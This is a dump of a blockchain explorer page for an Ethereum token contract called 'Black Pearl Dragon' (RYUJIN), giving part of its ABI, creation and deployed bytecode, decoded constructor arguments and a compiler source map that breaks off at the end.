Mutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"BlackquantityPearl","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BlackrecipientPearl","type":"address"},{"internalType":"uint256","name":"BlackquantityPearl","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"BlackrecipientPearl","type":"address"},{"internalType":"uint256","name":"BlackquantityPearl","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

600019600b556002608081815260e060405290816020016020820280368337505081516200003592600c92506020019062000343565b503480156200004357600080fd5b50604051620014bd380380620014bd8339810160408190526200006691620004a6565b6200007133620002f3565b60036200007f8482620005c4565b5060026200008e8582620005c4565b5060056001556004805460ff19166009908117909155620000b190600a620007a5565b620000c09062989680620007bd565b6007908155600b80546001600160a01b038516600081815260066020908152604080832094909455945433808352848320919091559354918152600e85528281208290559283529181902091909155600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa1580156200016f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001959190620007d7565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021e9190620007d7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002929190620007d7565b600980546001600160a01b0319166001600160a01b0392831617905560075460405190815233918316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050620007f5565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b8280548282559060005260206000209081019282156200039b579160200282015b828111156200039b57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000364565b50620003a9929150620003ad565b5090565b5b80821115620003a95760008155600101620003ae565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003ec57600080fd5b81516001600160401b0380821115620004095762000409620003c4565b604051601f8301601f19908116603f01168101908282118183101715620004345762000434620003c4565b816040528381526020925086838588010111156200045157600080fd5b600091505b8382101562000475578582018301518183018401529082019062000456565b600093810190920192909252949350505050565b80516001600160a01b0381168114620004a157600080fd5b919050565b60008060008060808587031215620004bd57600080fd5b84516001600160401b0380821115620004d557600080fd5b620004e388838901620003da565b95506020870151915080821115620004fa57600080fd5b506200050987828801620003da565b9350506200051a6040860162000489565b91506200052a6060860162000489565b905092959194509250565b600181811c908216806200054a57607f821691505b6020821081036200056b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005bf57600081815260208120601f850160051c810160208610156200059a5750805b601f850160051c820191505b81811015620005bb57828155600101620005a6565b5050505b505050565b81516001600160401b03811115620005e057620005e0620003c4565b620005f881620005f1845462000535565b8462000571565b602080601f831160018114620006305760008415620006175750858301515b600019600386901b1c1916600185901b178555620005bb565b600085815260208120601f198616915b82811015620006615788860151825594840194600190910190840162000640565b5085821015620006805787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006e7578160001904821115620006cb57620006cb62000690565b80851615620006d957918102915b93841c9390800290620006ab565b509250929050565b60008262000700575060016200079f565b816200070f575060006200079f565b8160018114620007285760028114620007335762000753565b60019150506200079f565b60ff84111562000747576200074762000690565b50506001821b6200079f565b5060208310610133831016604e8410600b841016171562000778575081810a6200079f565b620007848383620006a6565b80600019048211156200079b576200079b62000690565b0290505b92915050565b6000620007b660ff841683620006ef565b9392505050565b80820281158282048414176200079f576200079f62000690565b600060208284031215620007ea57600080fd5b620007b68262000489565b610cb880620008056000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146101eb578063dd62ed3e146101fe578063f2fde38b14610237578063f887ea401461024a57600080fd5b806370a082311461019f578063715018a6146101c85780638da5cb5b146101d257806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce5671461016057806349bd5a5e1461016b57806365ec04911461019657600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f9190610993565b60405180910390f35b61012b6101263660046109fd565b6102ef565b604051901515815260200161010f565b6007545b60405190815260200161010f565b61012b61015b366004610a27565b610305565b60045460ff1661013f565b60095461017e906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b61013f60015481565b61013f6101ad366004610a63565b6001600160a01b031660009081526006602052604090205490565b6101d0610414565b005b6000546001600160a01b031661017e565b61010261047a565b61012b6101f93660046109fd565b610489565b61013f61020c366004610a7e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d0610245366004610a63565b6104df565b600a5461017e906001600160a01b031681565b60606002805461026c90610ab1565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610ab1565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846105aa565b90505b92915050565b60008082116103795760405162461bcd60e51b815260206004820152603560248201527f5472616e7366657220426c61636b7175616e74697479506561726c206d7573746044820152742062652067726561746572207468616e207a65726f60581b60648201526084015b60405180910390fd5b61038484848461068a565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103c991815260200190565b60405180910390a36001600160a01b03841660009081526005602090815260408083203380855292529091205461040c918691610407908690610b01565b6105aa565b949350505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610370565b6104786000610943565b565b60606003805461026c90610ab1565b600061049633848461068a565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600192915050565b6000546001600160a01b031633146105395760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610370565b6001600160a01b03811661059e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610370565b6105a781610943565b50565b60006001600160a01b038416158015906105cc57506001600160a01b03831615155b6106245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610370565b6001600160a01b0384811660008181526005602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6000600c6001815481106106a0576106a0610b14565b60009182526020808320909101546009546001546001600160a01b03898116808752600e9095526040909520549285169550931690911491901580156106fd57506001600160a01b0386166000908152600d602052604090205415155b8015610707575081155b156107a0576001600160a01b0386166000908152600e602052604081208054839290610734908490610b01565b909155505060045461074a9060ff16600d610b2a565b61075590600a610c27565b610760906002610c36565b8411156107a057610772600182610b01565b6001600160a01b0387166000908152600e60205260408120805490919061079a908490610b01565b90915550505b84600c6001815481106107b5576107b5610b14565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559188168152600e9091526040902054158015906107f8575083155b1561082b576001600160a01b0385166000908152600e602052604081208054839290610825908490610c4d565b90915550505b610836816001610c4d565b6001600160a01b0384166000908152600d60205260408120805490919061085e908490610c4d565b9091555050600154600090610874606487610c60565b61087e9190610c36565b905061088a8186610b01565b6001600160a01b0388166000908152600660205260408120805492975083929091906108b7908490610b01565b909155505030600090815260066020526040812080548392906108db908490610c4d565b90915550506001600160a01b03871660009081526006602052604081208054879290610908908490610b01565b90915550506001600160a01b03861660009081526006602052604081208054879290610935908490610c4d565b909155505050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156109c0578581018301518582016040015282016109a4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109f857600080fd5b919050565b60008060408385031215610a1057600080fd5b610a19836109e1565b946020939093013593505050565b600080600060608486031215610a3c57600080fd5b610a45846109e1565b9250610a53602085016109e1565b9150604084013590509250925092565b600060208284031215610a7557600080fd5b6102fc826109e1565b60008060408385031215610a9157600080fd5b610a9a836109e1565b9150610aa8602084016109e1565b90509250929050565b600181811c90821680610ac557607f821691505b602082108103610ae557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ff576102ff610aeb565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156102ff576102ff610aeb565b600181815b80851115610b7e578160001904821115610b6457610b64610aeb565b80851615610b7157918102915b93841c9390800290610b48565b509250929050565b600082610b95575060016102ff565b81610ba2575060006102ff565b8160018114610bb85760028114610bc257610bde565b60019150506102ff565b60ff841115610bd357610bd3610aeb565b50506001821b6102ff565b5060208310610133831016604e8410600b8410161715610c01575081810a6102ff565b610c0b8383610b43565b8060001904821115610c1f57610c1f610aeb565b029392505050565b60006102fc60ff841683610b86565b80820281158282048414176102ff576102ff610aeb565b808201808211156102ff576102ff610aeb565b600082610c7d57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220960daf5e7cc5a682e3bcdea9a52d63665425a388f561f0d8a16fc576b0063a5c64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000456d0bc5b4fd8e72f5aced41bee28b1b0c7d8e70000000000000000000000008242e56a759aa0b069b9c983fe3f582020cd1ec90000000000000000000000000000000000000000000000000000000000000012426c61636b20506561726c20447261676f6e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065259554a494e0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146101eb578063dd62ed3e146101fe578063f2fde38b14610237578063f887ea401461024a57600080fd5b806370a082311461019f578063715018a6146101c85780638da5cb5b146101d257806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce5671461016057806349bd5a5e1461016b57806365ec04911461019657600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f9190610993565b60405180910390f35b61012b6101263660046109fd565b6102ef565b604051901515815260200161010f565b6007545b60405190815260200161010f565b61012b61015b366004610a27565b610305565b60045460ff1661013f565b60095461017e906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b61013f60015481565b61013f6101ad366004610a63565b6001600160a01b031660009081526006602052604090205490565b6101d0610414565b005b6000546001600160a01b031661017e565b61010261047a565b61012b6101f93660046109fd565b610489565b61013f61020c366004610a7e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d0610245366004610a63565b6104df565b600a5461017e906001600160a01b031681565b60606002805461026c90610ab1565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610ab1565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846105aa565b90505b92915050565b60008082116103795760405162461bcd60e51b815260206004820152603560248201527f5472616e7366657220426c61636b7175616e74697479506561726c206d7573746044820152742062652067726561746572207468616e207a65726f60581b60648201526084015b60405180910390fd5b61038484848461068a565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103c991815260200190565b60405180910390a36001600160a01b03841660009081526005602090815260408083203380855292529091205461040c918691610407908690610b01565b6105aa565b949350505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610370565b6104786000610943565b565b60606003805461026c90610ab1565b600061049633848461068a565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600192915050565b6000546001600160a01b031633146105395760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610370565b6001600160a01b03811661059e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610370565b6105a781610943565b50565b60006001600160a01b038416158015906105cc57506001600160a01b03831615155b6106245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610370565b6001600160a01b0384811660008181526005602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6000600c6001815481106106a0576106a0610b14565b60009182526020808320909101546009546001546001600160a01b03898116808752600e9095526040909520549285169550931690911491901580156106fd57506001600160a01b0386166000908152600d602052604090205415155b8015610707575081155b156107a0576001600160a01b0386166000908152600e602052604081208054839290610734908490610b01565b909155505060045461074a9060ff16600d610b2a565b61075590600a610c27565b610760906002610c36565b8411156107a057610772600182610b01565b6001600160a01b0387166000908152600e60205260408120805490919061079a908490610b01565b90915550505b84600c6001815481106107b5576107b5610b14565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559188168152600e9091526040902054158015906107f8575083155b1561082b576001600160a01b0385166000908152600e602052604081208054839290610825908490610c4d565b90915550505b610836816001610c4d565b6001600160a01b0384166000908152600d60205260408120805490919061085e908490610c4d565b9091555050600154600090610874606487610c60565b61087e9190610c36565b905061088a8186610b01565b6001600160a01b0388166000908152600660205260408120805492975083929091906108b7908490610b01565b909155505030600090815260066020526040812080548392906108db908490610c4d565b90915550506001600160a01b03871660009081526006602052604081208054879290610908908490610b01565b90915550506001600160a01b03861660009081526006602052604081208054879290610935908490610c4d565b909155505050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156109c0578581018301518582016040015282016109a4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109f857600080fd5b919050565b60008060408385031215610a1057600080fd5b610a19836109e1565b946020939093013593505050565b600080600060608486031215610a3c57600080fd5b610a45846109e1565b9250610a53602085016109e1565b9150604084013590509250925092565b600060208284031215610a7557600080fd5b6102fc826109e1565b60008060408385031215610a9157600080fd5b610a9a836109e1565b9150610aa8602084016109e1565b90509250929050565b600181811c90821680610ac557607f821691505b602082108103610ae557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ff576102ff610aeb565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156102ff576102ff610aeb565b600181815b80851115610b7e578160001904821115610b6457610b64610aeb565b80851615610b7157918102915b93841c9390800290610b48565b509250929050565b600082610b95575060016102ff565b81610ba2575060006102ff565b8160018114610bb85760028114610bc257610bde565b60019150506102ff565b60ff841115610bd357610bd3610aeb565b50506001821b6102ff565b5060208310610133831016604e8410600b8410161715610c01575081810a6102ff565b610c0b8383610b43565b8060001904821115610c1f57610c1f610aeb565b029392505050565b60006102fc60ff841683610b86565b80820281158282048414176102ff576102ff610aeb565b808201808211156102ff576102ff610aeb565b600082610c7d57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220960daf5e7cc5a682e3bcdea9a52d63665425a388f561f0d8a16fc576b0063a5c64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000456d0bc5b4fd8e72f5aced41bee28b1b0c7d8e70000000000000000000000008242e56a759aa0b069b9c983fe3f582020cd1ec90000000000000000000000000000000000000000000000000000000000000012426c61636b20506561726c20447261676f6e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065259554a494e0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _BlackCHAMAPearl (string): Black Pearl Dragon
Arg [1] : _BlackTICKERPearl (string): RYUJIN
Arg [2] : Black (address): 0x0456D0BC5b4fD8E72F5ACED41bee28b1b0c7d8E7
Arg [3] : Pearl (address): 0x8242e56a759aa0B069B9c983fe3f582020CD1eC9

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000456d0bc5b4fd8e72f5aced41bee28b1b0c7d8e7
Arg [3] : 0000000000000000000000008242e56a759aa0b069b9c983fe3f582020cd1ec9
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [5] : 426c61636b20506561726c20447261676f6e0000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 5259554a494e0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

29817:5228:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30903:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33593:161;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;33593:161:0;1004:187:1;31733:97:0;31804:18;;31733:97;;;1342:25:1;;;1330:2;1315:18;31733:97:0;1196:177:1;33823:519:0;;;;;;:::i;:::-;;:::i;31464:97::-;31532:21;;;;31464:97;;31334:28;;;;;-1:-1:-1;;;;;31334:28:0;;;;;;-1:-1:-1;;;;;1875:32:1;;;1857:51;;1845:2;1830:18;31334:28:0;1711:203:1;30744:29:0;;;;;;31894:116;;;;;;:::i;:::-;-1:-1:-1;;;;;31978:24:0;31951:7;31978:24;;;:15;:24;;;;;;;31894:116;1194:94;;;:::i;:::-;;886:87;932:7;959:6;-1:-1:-1;;;;;959:6:0;886:87;;31147:98;;;:::i;34350:289::-;;;;;;:::i;:::-;;:::i;32018:141::-;;;;;;:::i;:::-;-1:-1:-1;;;;;32117:25:0;;;32090:7;32117:25;;;:18;:25;;;;;;;;:34;;;;;;;;;;;;;32018:141;1296:192;;;;;;:::i;:::-;;:::i;31369:32::-;;;;;-1:-1:-1;;;;;31369:32:0;;;30903:95;30940:13;30973:17;30966:24;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30903:95;:::o;33593:161::-;33673:4;33697:49;33706:10;33718:7;33727:18;33697:8;:49::i;:::-;33690:56;;33593:161;;;;;:::o;33823:519::-;33970:4;34016:1;33995:18;:22;33987:88;;;;-1:-1:-1;;;33987:88:0;;3196:2:1;33987:88:0;;;3178:21:1;3235:2;3215:18;;;3208:30;3274:34;3254:18;;;3247:62;-1:-1:-1;;;3325:18:1;;;3318:51;3386:19;;33987:88:0;;;;;;;;;34086:68;34106:6;34114:19;34135:18;34086:19;:68::i;:::-;34187:19;-1:-1:-1;;;;;34170:57:0;34179:6;-1:-1:-1;;;;;34170:57:0;;34208:18;34170:57;;;;1342:25:1;;1330:2;1315:18;;1196:177;34170:57:0;;;;;;;;-1:-1:-1;;;;;34274:26:0;;;;;;:18;:26;;;;;;;;34262:10;34274:38;;;;;;;;;34245:89;;34254:6;;34274:59;;34315:18;;34274:59;:::i;:::-;34245:8;:89::i;:::-;34238:96;33823:519;-1:-1:-1;;;;33823:519:0:o;1194:94::-;932:7;959:6;-1:-1:-1;;;;;959:6:0;288:10;1106:23;1098:68;;;;-1:-1:-1;;;1098:68:0;;3883:2:1;1098:68:0;;;3865:21:1;;;3902:18;;;3895:30;3961:34;3941:18;;;3934:62;4013:18;;1098:68:0;3681:356:1;1098:68:0;1259:21:::1;1277:1;1259:9;:21::i;:::-;1194:94::o:0;31147:98::-;31186:13;31219:18;31212:25;;;;;:::i;34350:289::-;34443:4;34460:72;34480:10;34492:19;34513:18;34460:19;:72::i;:::-;34548:61;;1342:25:1;;;-1:-1:-1;;;;;34548:61:0;;;34557:10;;34548:61;;1330:2:1;1315:18;34548:61:0;;;;;;;-1:-1:-1;34627:4:0;34350:289;;;;:::o;1296:192::-;932:7;959:6;-1:-1:-1;;;;;959:6:0;288:10;1106:23;1098:68;;;;-1:-1:-1;;;1098:68:0;;3883:2:1;1098:68:0;;;3865:21:1;;;3902:18;;;3895:30;3961:34;3941:18;;;3934:62;4013:18;;1098:68:0;3681:356:1;1098:68:0;-1:-1:-1;;;;;1385:22:0;::::1;1377:73;;;::::0;-1:-1:-1;;;1377:73:0;;4244:2:1;1377:73:0::1;::::0;::::1;4226:21:1::0;4283:2;4263:18;;;4256:30;4322:34;4302:18;;;4295:62;-1:-1:-1;;;4373:18:1;;;4366:36;4419:19;;1377:73:0::1;4042:402:1::0;1377:73:0::1;1461:19;1471:8;1461:9;:19::i;:::-;1296:192:::0;:::o;34647:395::-;34776:4;-1:-1:-1;;;;;34801:19:0;;;;;;:44;;-1:-1:-1;;;;;;34824:21:0;;;;34801:44;34793:93;;;;-1:-1:-1;;;34793:93:0;;4651:2:1;34793:93:0;;;4633:21:1;4690:2;4670:18;;;4663:30;4729:34;4709:18;;;4702:62;-1:-1:-1;;;4780:18:1;;;4773:34;4824:19;;34793:93:0;4449:400:1;34793:93:0;-1:-1:-1;;;;;34897:25:0;;;;;;;:18;:25;;;;;;;;:34;;;;;;;;;;;;;:55;;;34968:44;;1342:25:1;;;34968:44:0;;1315:18:1;34968:44:0;;;;;;;-1:-1:-1;35030:4:0;34647:395;;;;;:::o;32167:1357::-;32330:22;32355:18;32374:1;32355:21;;;;;;;;:::i;:::-;;;;;;;;;;;;;32421:13;;32355:21;32491:14;-1:-1:-1;;;;;32421:33:0;;;32522:34;;;:16;:34;;;;;;;;32355:21;;;;-1:-1:-1;32421:13:0;;:33;;;;32491:14;32522:39;:81;;;;-1:-1:-1;;;;;;32565:34:0;;32602:1;32565:34;;;:16;:34;;;;;;:38;;32522:81;:112;;;;;32608:26;32607:27;32522:112;32518:333;;;-1:-1:-1;;;;;32651:34:0;;;;;;:16;:34;;;;;:53;;32689:15;;32651:34;:53;;32689:15;;32651:53;:::i;:::-;;;;-1:-1:-1;;32758:21:0;;32753:26;;32758:21;;32753:2;:26;:::i;:::-;32748:32;;:2;:32;:::i;:::-;32744:36;;:1;:36;:::i;:::-;32723:18;:57;32719:120;;;32820:19;32838:1;32820:15;:19;:::i;:::-;-1:-1:-1;;;;;32782:34:0;;;;;;:16;:34;;;;;:57;;:34;;;:57;;;;;:::i;:::-;;;;-1:-1:-1;;32719:120:0;32887:17;32863:18;32882:1;32863:21;;;;;;;;:::i;:::-;;;;;;;;;;;;;:41;;-1:-1:-1;;;;;;32863:41:0;-1:-1:-1;;;;;32863:41:0;;;;;;32921:34;;;;;:16;:34;;;;;;;:38;;;;:65;;-1:-1:-1;32963:23:0;;32921:65;32917:152;;;-1:-1:-1;;;;;33003:35:0;;;;;;:16;:35;;;;;:54;;33042:15;;33003:35;:54;;33042:15;;33003:54;:::i;:::-;;;;-1:-1:-1;;32917:152:0;33117:19;:15;33135:1;33117:19;:::i;:::-;-1:-1:-1;;;;;33081:32:0;;;;;;:16;:32;;;;;:55;;:32;;;:55;;;;;:::i;:::-;;;;-1:-1:-1;;33202:14:0;;33149:21;;33174:24;33195:3;33174:18;:24;:::i;:::-;33173:43;;;;:::i;:::-;33149:67;-1:-1:-1;33227:35:0;33149:67;33227:35;;:::i;:::-;-1:-1:-1;;;;;33273:33:0;;;;;;:15;:33;;;;;:50;;33227:35;;-1:-1:-1;33310:13:0;;33273:33;;;:50;;33310:13;;33273:50;:::i;:::-;;;;-1:-1:-1;;33358:4:0;33334:30;;;;:15;:30;;;;;:47;;33368:13;;33334:30;:47;;33368:13;;33334:47;:::i;:::-;;;;-1:-1:-1;;;;;;;33394:33:0;;;;;;:15;:33;;;;;:55;;33431:18;;33394:33;:55;;33431:18;;33394:55;:::i;:::-;;;;-1:-1:-1;;;;;;;33460:34:0;;;;;;:15;:34;;;;;:56;;33498:18;;33460:34;:56;;33498:18;;33460:56;:::i;:::-;;;;-1:-1:-1;;;;;;;;;32167:1357:0:o;1496:173::-;1552:16;1571:6;;-1:-1:-1;;;;;1588:17:0;;;-1:-1:-1;;;;;;1588:17:0;;;;;;1621:40;;1571:6;;;;;;;1621:40;;1552:16;1621:40;1541:128;1496:173;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1919:186::-;1978:6;2031:2;2019:9;2010:7;2006:23;2002:32;1999:52;;;2047:1;2044;2037:12;1999:52;2070:29;2089:9;2070:29;:::i;2110:260::-;2178:6;2186;2239:2;2227:9;2218:7;2214:23;2210:32;2207:52;;;2255:1;2252;2245:12;2207:52;2278:29;2297:9;2278:29;:::i;:::-;2268:39;;2326:38;2360:2;2349:9;2345:18;2326:38;:::i;:::-;2316:48;;2110:260;;;;;:::o;2609:380::-;2688:1;2684:12;;;;2731;;;2752:61;;2806:4;2798:6;2794:17;2784:27;;2752:61;2859:2;2851:6;2848:14;2828:18;2825:38;2822:161;;2905:10;2900:3;2896:20;2893:1;2886:31;2940:4;2937:1;2930:15;2968:4;2965:1;2958:15;2822:161;;2609:380;;;:::o;3416:127::-;3477:10;3472:3;3468:20;3465:1;3458:31;3508:4;3505:1;3498:15;3532:4;3529:1;3522:15;3548:128;3615:9;;;3636:11;;;3633:37;;;3650:18;;:::i;4854:127::-;4915:10;4910:3;4906:20;4903:1;4896:31;4946:4;4943:1;4936:15;4970:4;4967:1;4960:15;4986:148;5074:4;5053:12;;;5067;;;5049:31;;5092:13;;5089:39;;;5108:18;;:::i;5139:422::-;5228:1;5271:5;5228:1;5285:270;5306:7;5296:8;5293:21;5285:270;;;5365:4;5361:1;5357:6;5353:17;5347:4;5344:27;5341:53;;;5374:18;;:::i;:::-;5424:7;5414:8;5410:22;5407:55;;;5444:16;;;;5407:55;5523:22;;;;5483:15;;;;5285:270;;;5289:3;5139:422;;;;;:::o;5566:806::-;5615:5;5645:8;5635:80;;-1:-1:-1;5686:1:1;5700:5;;5635:80;5734:4;5724:76;;-1:-1:-1;5771:1:1;5785:5;;5724:76;5816:4;5834:1;5829:59;;;;5902:1;5897:130;;;;5809:218;;5829:59;5859:1;5850:10;;5873:5;;;5897:130;5934:3;5924:8;5921:17;5918:43;;;5941:18;;:::i;:::-;-1:-1:-1;;5997:1:1;5983:16;;6012:5;;5809:218;;6111:2;6101:8;6098:16;6092:3;6086:4;6083:13;6079:36;6073:2;6063:8;6060:16;6055:2;6049:4;6046:12;6042:35;6039